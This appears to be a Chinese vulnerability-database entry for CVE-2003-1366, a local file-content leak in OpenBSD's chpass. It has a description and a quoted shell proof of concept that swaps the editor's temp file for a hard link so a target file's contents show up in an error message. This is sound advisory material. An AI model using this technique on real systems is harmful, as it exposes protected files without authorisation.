OpenBSD CHPass不安全临时文件符号链接漏洞

OpenBSD CHPass不安全临时文件符号链接漏洞

漏洞ID 1107192 漏洞类型 信息泄露
发布时间 2003-02-03 更新时间 2003-12-31
图片[1]-OpenBSD CHPass不安全临时文件符号链接漏洞-安全小百科CVE编号 CVE-2003-1366
图片[2]-OpenBSD CHPass不安全临时文件符号链接漏洞-安全小百科CNNVD-ID CNNVD-200312-419
漏洞平台 OpenBSD CVSS评分 3.3
|漏洞来源
https://www.exploit-db.com/exploits/22210
https://cxsecurity.com/issue/WLB-2007100059
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200312-419
|漏洞详情
OpenBSD是一款开放源代码的UNIX操作系统,提供用于编辑用户数据信息的工具chpass(1)(或硬连接到此程序的chfn和chsh)。chpass不正确处理临时文件,本地攻击者可以利用这个漏洞显示系统任意文件中的部分内容。chpass会把用户数据库信息写到临时文件中以供编辑器修改,当编辑器运行时,用户可以挂起编辑器(^Z),并使用硬连接指向的任意文件来代替临时文件,然后在恢复编辑器到前台,以不保存方式退出编辑器,让chpass进行文件的其他操作,在这时候chpass打开文件,会以如下方式读取文件:-如果文件超过2048字节,将放弃读取。-如果文件以’#’开头,忽略。-其他的检查行的有效性。如果发现检查的行合法,chpass就会处理下一个。但是如果某行不合法及以”shell:”开头,并剩余的字符是可打印字符,当chpass处理时就会显示错误消息,但错误消息中包含文件内容,造成硬连接指向的敏感文件内容被泄露。
|漏洞EXP
source: http://www.securityfocus.com/bid/6748/info

It has been reported that a problem with chpass included with OpenBSD may allow local users to gain access to the content of specific files. This vulnerability requires that lines in the target file be constructed in a specific format. This problem also affects the chfn and chsh programs which are hard links to the chpass binary.

# echo "shell: secret_data" >/tmp/sec
# chmod 600 /tmp/sec
$ chpass # ^Z in the editor
[1]+ Stopped chpass
$ rm /var/tmp/pw.Loi22925
$ ln /tmp/sec /var/tmp/pw.Loi22925
$ fg # then quit the editor
chpass
chpass: secret_data: non-standard shell
|参考资料

来源:XF
名称:openbsd-chpass-information-disclosure(11233)
链接:http://xforce.iss.net/xforce/xfdb/11233
来源:BID
名称:6748
链接:http://www.securityfocus.com/bid/6748
来源:BUGTRAQ
名称:20030203ASA-0001:OpenBSDchpass/chfn/chshfilecontentleak
链接:http://www.securityfocus.com/archive/1/309962
来源:SECTRACK
名称:1006035
链接:http://www.securitytracker.com/id?1006035
来源:SREASON
名称:3238
链接:http://securityreason.com/securityalert/3238
来源:NSFOCUS
名称:4310
链接:http://www.nsfocus.net/vulndb/4310

相关推荐: PWC.CGI Syslog Format String Vulnerability

PWC.CGI Syslog Format String Vulnerability 漏洞ID 1103313 漏洞类型 Input Validation Error 发布时间 2001-03-23 更新时间 2001-03-23 CVE编号 N/A CNNV…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享